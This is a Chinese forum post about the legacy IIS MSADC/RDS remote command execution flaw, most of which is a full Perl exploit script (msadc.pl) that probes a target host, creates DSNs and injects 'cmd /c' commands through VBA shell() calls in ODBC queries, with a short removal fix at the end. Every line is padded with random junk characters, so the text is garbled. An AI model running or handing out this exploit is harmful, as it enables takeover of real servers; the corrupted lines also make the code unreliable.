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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 2X X-  
gGaA;YW1  
涉及程序: r\PO?1  
Microsoft NT server ZVelKI8>  
ABx< Ep6  
描述: lfJvN  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 qjBF]3%t%  
WyA`V C  
详细: J-UqH3({Z,  
如果你没有时间读详细内容的话,就删除: mNII-X G  
c:\Program Files\Common Files\System\Msadc\msadcs.dll lU\v8!Ji  
有关的安全问题就没有了。 pZ`^0#Fo  
Ub,5~I+`  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ,`pUz[wl  
n 3eLIA{  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~=P#7l\o1  
关于利用ODBC远程漏洞的描述,请参看: <r>1W~bp.q  
\CU-a`n  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm rSgOQ  
N*1{yl76x  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 T1-.+&<  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp =x xN3Ay  
MdC}!&W  
这里不再论述。 `i `F$;  
.OM^@V~T  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: op2<~v0?  
>;K!yI?0  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset "Wb>y*S   
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Q4Zw<IZv5  
H2jF=U"=  
 * Cj<Vy  
#将下面这段保存为txt文件,然后: "perl -x 文件名" g1H$wU3eu  
APJVD-  
#!perl v:IpZ;^  
# iW?z2%#  
# MSADC/RDS 'usage' (aka exploit) script qg06*$%  
# ip+?k<]z  
# by rain.forest.puppy L eu93f2  
# Nx;Oz  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me L^FQ|?*  
# beta test and find errors! TpGnSD  
O>@ChQF  
use Socket; use Getopt::Std; gq7l>vT.  
getopts("e:vd:h:XR", \%args); =h>jo&=Wad  
O<`N0  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ysH'X95  
:^En\YcU  
if (!defined $args{h} && !defined $args{R}) { LOEiV  
print qq~ =c ;.cW  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 3P*[ !KI  
-h <host> = host you want to scan (ip or domain) D &Bdl5g  
-d <seconds> = delay between calls, default 1 second u.@B-Pf[Eo  
-X = dump Index Server path table, if available e9;5.m  
-v = verbose X/f?=U  
-e = external dictionary file for step 5 {+^&7JX  
ZK4d;oa",  
Or a -R will resume a command session Ew )1O9f  
B%I<6E[D  
~; exit;} gl~9|$ivj>  
=/ +f3  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Ly-}HW(  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} #G]g  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} {Rz(0oD\  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); S=a>rnF  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 6Qn};tbnD  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } pG^>y0  
aeE~[m  
if (!defined $args{R}){ $ret = &has_msadc; ATF>"Ux  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} f~?kx41dq  
K*P:FCz  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^4C djMF-E  
. "cmd /c "; S@ @#L  
$in=<STDIN>; chomp $in; KjK-#F,@  
$command="cmd /c " . $in ; }_oQg_-7e  
b"y4-KV  
if (defined $args{R}) {&load; exit;} PQrc#dfc |  
Zg3 /,:1  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Z4dl'v)9  
&try_btcustmr; hf:\^w  
Ae* 6&R4  
print "\nStep 2: Trying to make our own DSN..."; Eih6?Lpu  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; bR<XQHl  
v$Xoxp  
print "\nStep 3: Trying known DSNs..."; GK[9Cm"v  
&known_dsn; o|APsQE  
y9~:[jB  
print "\nStep 4: Trying known .mdbs..."; 1fTf+P  
&known_mdb; H`4KhdqR  
[$@EQ]tt/  
if (defined $args{e}){ Ry40:;MYN  
print "\nStep 5: Trying dictionary of DSN names..."; ! u9LZ  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } $U"pdf  
L\q-Z..  
print "Sorry Charley...maybe next time?\n"; K.Y.K$NjP{  
exit; EUby QL  
^@)*voP#G  
############################################################################## A+Kp ECP  
825 QS`  
sub sendraw { # ripped and modded from whisker _FCg5F2U  
sleep($delay); # it's a DoS on the server! At least on mine... M63t4; 0A  
my ($pstr)=@_; Ap> H-/C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || lL,0IfC,  
die("Socket problems\n"); |(=b  
if(connect(S,pack "SnA4x8",2,80,$target)){ ]f6,4[  
select(S); $|=1; "(iQ-g Mm  
print $pstr; my @in=<S>; ^nLk{<D35  
select(STDOUT); close(S); h*?]A  
return @in; h#Z~x  
} else { die("Can't connect...\n"); }} }?*$AVs2q  
C8y[B1Y  
############################################################################## $49;\pBZl  
71Y3.1+  
sub make_header { # make the HTTP request A3|X`X  
my $msadc=<<EOT Q zY5S0  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 u17 9!  
User-Agent: ACTIVEDATA e\ }'i-  
Host: $ip 6 )lWuY]e  
Content-Length: $clen X.AE>fx*h  
Connection: Keep-Alive '`&b1Rc  
n`D-?]*  
ADCClientVersion:01.06 {Hz;*1?$k  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Ue=1NnRDkA  
c1<jY~U  
--!ADM!ROX!YOUR!WORLD! 9 u>X,2gUR  
Content-Type: application/x-varg b@B\2BT  
Content-Length: $reqlen bQHJ}aCi  
e!w#{</8Q  
EOT >fp_$bjd  
; $msadc=~s/\n/\r\n/g; of>H&G)@  
return $msadc;} a[J_H$6H!  
{w ]L'0ES[  
############################################################################## j|VX6U   
(R!`Z%  
sub make_req { # make the RDS request ,D'bIk  
my ($switch, $p1, $p2)=@_; <W/YC 2b  
my $req=""; my $t1, $t2, $query, $dsn; HFX,EE  
?+L7Bd(EF%  
if ($switch==1){ # this is the btcustmr.mdb query Mr@{3do$  
$query="Select * from Customers where City=" . make_shell(); 0e j*0"Mq  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 1n#{c5T  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} c@$W]o"A  
BX2}ar  
elsif ($switch==2){ # this is general make table query hmI> 7@&  
$query="create table AZZ (B int, C varchar(10))"; nbBox,zW  
$dsn="$p1";} Efu/v<  
`eKFs0M.  
elsif ($switch==3){ # this is general exploit table query }BiA@n,  
$query="select * from AZZ where C=" . make_shell(); =g)SZK  
$dsn="$p1";} CL5t6D9Qi  
B~%SB/eu  
elsif ($switch==4){ # attempt to hork file info from index server E#\'$@8j  
$query="select path from scope()"; FB O_B  
$dsn="Provider=MSIDXS;";} ~uuM0POo  
$Q`\-  
elsif ($switch==5){ # bad query ~'LoIv20j)  
$query="select"; ES5a`"H  
$dsn="$p1";} &_3o1<  
#^w8Y'{?  
$t1= make_unicode($query); 1t7T\~ +F  
$t2= make_unicode($dsn); ;MW=F9U*  
$req = "\x02\x00\x03\x00"; H4BuxM_r  
$req.= "\x08\x00" . pack ("S1", length($t1)); 2`V(w[zTr  
$req.= "\x00\x00" . $t1 ; >n5Kz]]%  
$req.= "\x08\x00" . pack ("S1", length($t2)); avd`7eH2  
$req.= "\x00\x00" . $t2 ; ki]i[cdk  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; !lI1jb"  
return $req;} C{YTHN n  
MYUL y2)  
############################################################################## Yz>8 Nn'_  
]F4|@+\9  
sub make_shell { # this makes the shell() statement SKJ'6*6  
return "'|shell(\"$command\")|'";} tA-p!#V<k1  
uC"Gm;0  
############################################################################## Jy0(g T  
D}?JX5.  
sub make_unicode { # quick little function to convert to unicode 9iGp0_J  
my ($in)=@_; my $out; )>!y7/3  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } B &)wJG  
return $out;} ;z9U_  
8VMD304  
############################################################################## "O%xQ N  
p:Zhg{sF  
sub rdo_success { # checks for RDO return success (this is kludge) jC'Diu4|Q  
my (@in) = @_; my $base=content_start(@in); 5,du2  
if($in[$base]=~/multipart\/mixed/){ "SV/'0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} jo"zd b  
return 0;} \5F {MBx !  
W<H<~wf#  
############################################################################## - S%8  
{ ?]&P  
sub make_dsn { # this makes a DSN for us q`@8  
my @drives=("c","d","e","f"); /?:q9Wy  
print "\nMaking DSN: "; sB<y(}u  
foreach $drive (@drives) { 2bTM0-  
print "$drive: "; CjU?3Ag  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . oTf^-29d  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" |]OI)w*  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); z_87 ;y;=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 'e7;^s  
return 0 if $2 eq "404"; # not found/doesn't exist 8LlWXeD9  
if($2 eq "200") { {Lvta4}7(  
foreach $line (@results) { D__*?frWpW  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} {y|j**NZ  
} return 0;} )IGx3+I ,  
^%/d]Zwb  
############################################################################## -nk0Q_7N  
Og"\@n  
sub verify_exists { 3Oe\l[?$;  
my ($page)=@_; ''B}^yKEW  
my @results=sendraw("GET $page HTTP/1.0\n\n"); kDWvjT  
return $results[0];} n<MreKixE  
,/..f!bp  
############################################################################## sT>l ?L  
%>,Kd6bdg  
sub try_btcustmr { Ai5D[ykX  
my @drives=("c","d","e","f"); s@|TQ9e |j  
my @dirs=("winnt","winnt35","winnt351","win","windows"); HeM-  
c 4L++ u#  
foreach $dir (@dirs) { {(^%2dk83C  
print "$dir -> "; # fun status so you can see progress |3 v+&eVi  
foreach $drive (@drives) { oY7 eVuz  
print "$drive: "; # ditto +'9eo%3O  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ~ tqDh(  
$reqlenlen=length( "$reqlen" ); 'h;x>r  
$clen= 206 + $reqlenlen + $reqlen; ]PZ\N~T  
qr?RU .W  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); C8 "FTH'  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} T :X A  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} X=pPkgW  
E7|P\^}m(f  
############################################################################## m"mU:-jk`  
O-]^_LV`  
sub odbc_error { .$"69[1H  
my (@in)=@_; my $base; \rmge4`4  
my $base = content_start(@in); xMo'SpVz:  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ?4lDoP{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Eo_; N c  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; mjbV^^>  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Y>PC>  
return $in[$base+4].$in[$base+5].$in[$base+6];} IJofbuzw:  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; Nrk/_0^  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . sQ%gf  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} K?acRi  
S$ 91L  
############################################################################## 3+iQct[  
(c9!:  
sub verbose { ,98`tB0  
my ($in)=@_; vaj-|&  
return if !$verbose; LArfX,x3i  
print STDOUT "\n$in\n";} |BA<> WE  
XB\n4 |4  
############################################################################## X1Y+ao1)  
Be2yS]U  
sub save { "6o5x&H  
my ($p1, $p2, $p3, $p4)=@_; @3I/57u<  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; !7aJfs2  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Bhw|!Y&%  
close OUT;} ;>B06v  
Y(P <9 m:  
############################################################################## T'e p&tNY  
KVCj06}j  
sub load { ?\![W5uuXG  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; GYN Lyd)  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); %Dm:|><V$b  
@p=<IN>; close(IN); /S&8%fb  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); K!_''Fg  
$target= inet_aton($ip) || die("inet_aton problems"); $#d.@JWi  
print "Resuming to $ip ..."; L=5Fvm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t+Hx&_pMj  
if($p[1]==1) { %%f(R7n  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; m6M:l"u  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Zywx.@!  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); + +G %~)S:  
if (rdo_success(@results)){print "Success!\n";} /a:L"7z  
else { print "failed\n"; verbose(odbc_error(@results));}} (Y$48@x  
elsif ($p[1]==3){ xzTF| Z\  
if(run_query("$p[3]")){ qn|~z@"  
print "Success!\n";} else { print "failed\n"; }} .?p\=C@C+  
elsif ($p[1]==4){ rty&\u@}  
if(run_query($drvst . "$p[3]")){ Z;nUS,?om  
print "Success!\n"; } else { print "failed\n"; }} +~1~f'4J  
exit;} hXz@ (cF  
#[ch?K  
############################################################################## { aq}Q|?/  
g\foBK:GE  
sub create_table { d]w%zo,yr  
my ($in)=@_; :pPn)j$  
$reqlen=length( make_req(2,$in,"") ) - 28; bcC+af0L  
$reqlenlen=length( "$reqlen" ); Ve^rzGU  
$clen= 206 + $reqlenlen + $reqlen; j\.\ePmk]  
my @results=sendraw(make_header() . make_req(2,$in,"")); sn?YD'>k  
return 1 if rdo_success(@results); eFdN"8EW  
my $temp= odbc_error(@results); verbose($temp); WHvU|rJ  
return 1 if $temp=~/Table 'AZZ' already exists/; L% ?3VW  
return 0;} ##clReS  
XbKNH>  
############################################################################## [u}2xsSx  
&%`Y>\@f  
sub known_dsn { 3Mt Alc0xp  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go x$Tf IFy  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  = ~^  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", MJ0UZxnl  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 5 ]v]^Y'?  
;m cu(J  
foreach $dSn (@dsns) { hz~jyH.h_  
print "."; *]RCfHo\=  
next if (!is_access("DSN=$dSn")); a #4 'X*  
if(create_table("DSN=$dSn")){ Seb J}P1x  
print "$dSn successful\n"; 2%(RB4+  
if(run_query("DSN=$dSn")){ *oU-V#   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { '`fz|.|cbB  
print "Something's borked. Use verbose next time\n";}}} print "\n";} <tp#KZE  
u.Z,HsEOb  
############################################################################## @O%d2bgEWV  
e3b|z.^8  
sub is_access { 6`l7saHXE  
my ($in)=@_; l9X\\uG&  
$reqlen=length( make_req(5,$in,"") ) - 28; T&PLvyBL  
$reqlenlen=length( "$reqlen" ); FkJX)  
$clen= 206 + $reqlenlen + $reqlen; 1xE*quhrh  
my @results=sendraw(make_header() . make_req(5,$in,"")); 8'6$t@oT9w  
my $temp= odbc_error(@results); K]Onb{QY  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); aj)?P  
return 0;} a#o6Nv  
OGqsQ  
############################################################################## ,%%}d9  
fK{[=xMr@  
sub run_query { [#-!&>  
my ($in)=@_; =j{r95)|u  
$reqlen=length( make_req(3,$in,"") ) - 28; WbP*kV{  
$reqlenlen=length( "$reqlen" ); nfbqJ  
$clen= 206 + $reqlenlen + $reqlen; c/\$AJV.H  
my @results=sendraw(make_header() . make_req(3,$in,"")); T^~9'KDd  
return 1 if rdo_success(@results); :[ AP^  
my $temp= odbc_error(@results); verbose($temp); u  t4+c0  
return 0;} `[zd  
]~A<Q{  
############################################################################## ?Ok@1  
2?bE2^6  
sub known_mdb { +|=5zWI /  
my @drives=("c","d","e","f","g");  {!9i8T  
my @dirs=("winnt","winnt35","winnt351","win","windows"); wu2C!gyBo  
my $dir, $drive, $mdb; ST[+k  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 2>bV+[@B  
#RA3 T[A  
# this is sparse, because I don't know of many ~8 w(M  
my @sysmdbs=( "\\catroot\\icatalog.mdb", r06M.r   
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 0{ ;[k  
"\\system32\\certmdb.mdb", ?dcR!-3  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% q"Z!}^{  
6Y[|xu:N8Y  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", QP?Deltp  
"\\cfusion\\cfapps\\forums\\forums_.mdb", $=-Q]ld&]  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ']]&<B}mz  
"\\cfusion\\cfapps\\security\\realm_.mdb", 'o*:~n  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ,$qqHSd1M  
"\\cfusion\\database\\cfexamples.mdb", qm&Z_6Pw  
"\\cfusion\\database\\cfsnippets.mdb", 'F[ C 4  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", }&mFpc  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ef;Ta|#  
"\\cfusion\\brighttiger\\database\\cleam.mdb", X) TUKt  
"\\cfusion\\database\\smpolicy.mdb", 0u"/7OU  
"\\cfusion\\database\cypress.mdb", 5@{+V!o,  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", o-D,K dY  
"\\website\\cgi-win\\dbsample.mdb", Iu -CXc  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", _\tGmME37  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" GK/Q]}Q8pZ  
); #these are just U8 b1 sz  
foreach $drive (@drives) { J '^xDIZX  
foreach $dir (@dirs){ *KXg;777  
foreach $mdb (@sysmdbs) { ", :Ta|  
print "."; M:~/e8Xv  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ /<s $Am  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; f @cs<x  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #!FLX*,  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Bw[jrK  
} else { print "Something's borked. Use verbose next time\n"; }}}}} l?/.uNw  
iC{~~W6  
foreach $drive (@drives) { G{cTQH|  
foreach $mdb (@mdbs) { r_kw "9  
print "."; ab=s+[r1  
if(create_table($drv . $drive . $dir . $mdb)){ ;Q]j"1c  
print "\n" . $drive . $dir . $mdb . " successful\n"; %YaUc{.%  
if(run_query($drv . $drive . $dir . $mdb)){ ^3-Wxn9&  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ;^,2 QsM  
} else { print "Something's borked. Use verbose next time\n"; }}}} Y)@PGxjz  
} ]/+qM)F  
u%7a&1c  
############################################################################## h CLXL  
_uO#0 )l  
sub hork_idx { |@-%x.y  
print "\nAttempting to dump Index Server tables...\n"; i~IQlyGr.  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; B9 Dh^9?L  
$reqlen=length( make_req(4,"","") ) - 28; Qw$"W/&X  
$reqlenlen=length( "$reqlen" ); W].P(A>m  
$clen= 206 + $reqlenlen + $reqlen; ,Dz2cR6  
my @results=sendraw2(make_header() . make_req(4,"","")); x,Cc$C~YP  
if (rdo_success(@results)){ `FImi9%F  
my $max=@results; my $c; my %d; e<> Lr  
for($c=19; $c<$max; $c++){ @J~y_J{  
$results[$c]=~s/\x00//g; G@) I  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; )6?.; B  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 5g- apod  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; vl@t4\@3  
$d{"$1$2"}="";} 1 ]@}+H  
foreach $c (keys %d){ print "$c\n"; } 9 @yP;{Q  
} else {print "Index server doesn't seem to be installed.\n"; }} p 0.?R  
n(Up?_  
############################################################################## $l&&y?()  
tH:K6^oR  
sub dsn_dict { }eX_p6bBw  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); X*~NE\  
while(<IN>){ @Y>3-,o,S  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; +fhyw{  
next if (!is_access("DSN=$dSn")); |7Q8WjCQ{m  
if(create_table("DSN=$dSn")){ RZfC ?  
print "$dSn successful\n"; _^RN C)ol  
if(run_query("DSN=$dSn")){ J{mP5<8>b  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7[-jr;v  
print "Something's borked. Use verbose next time\n";}}} v.1= TBh  
print "\n"; close(IN);} xLZQ\2q  
lxK_+fj q  
############################################################################## yvxC/Jo4  
6QRfju'  
sub sendraw2 { # ripped and modded from whisker =3=KoH/'  
sleep($delay); # it's a DoS on the server! At least on mine... zJMKgw,i*  
my ($pstr)=@_; l\^q7cXG  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'KGY;8<x]  
die("Socket problems\n"); e![Q1!r  
if(connect(S,pack "SnA4x8",2,80,$target)){ lq@Vb{Z  
print "Connected. Getting data"; AEwb'  
open(OUT,">raw.out"); my @in; R7KQ-+Zb  
select(S); $|=1; print $pstr;  2H<?  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Xh]\q)  
close(OUT); select(STDOUT); close(S); return @in; L\og`L)5\  
} else { die("Can't connect...\n"); }} B>?Y("E  
&Jj> jCg  
############################################################################## Z-<v5aF  
.bl0w"c^qq  
sub content_start { # this will take in the server headers g]xZ^M+  
my (@in)=@_; my $c; 6\,^MI  
for ($c=1;$c<500;$c++) { ) WIlj  
if($in[$c] =~/^\x0d\x0a/){ FbM5Bqv  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ^@L[0Z`  
else { return $c+1; }}} U8-9^}DBA  
return -1;} # it should never get here actually ~+>M,LfK  
@` .u"@  
############################################################################## !BEOeq@2.  
U>;itHW/  
sub funky { ?<frU ,{  
my (@in)=@_; my $error=odbc_error(@in); /^[)JbgB  
if($error=~/ADO could not find the specified provider/){ w=e,gNO  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; N0RFPEQ~  
exit;} , m|9L{  
if($error=~/A Handler is required/){ zF i+6I$  
print "\nServer has custom handler filters (they most likely are patched)\n"; ;(0:6P8I  
exit;} CES FkAj~  
if($error=~/specified Handler has denied Access/){ ! T,7  
print "\nServer has custom handler filters (they most likely are patched)\n"; *A\NjXJl~  
exit;}} SA>;]6)`(  
.%wEuqW=0  
############################################################################## )Q xv9:X  
p>eD{#2  
sub has_msadc { xYu~}kMu  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); !v;r3*#Nky  
my $base=content_start(@results); UuT[UB=x5  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); w78Ius,  
return 0;} lIjHd#q-C  
Aq'%a)Y2  
######################## =cC]8Pz?  
cn\& ;55v  
g41Lh3dj  
解决方案: gy =`cMS@  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll `4EOy:a  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 .sG,TLE[<  
X3m?zQbhv  
拿出来充数 哈哈
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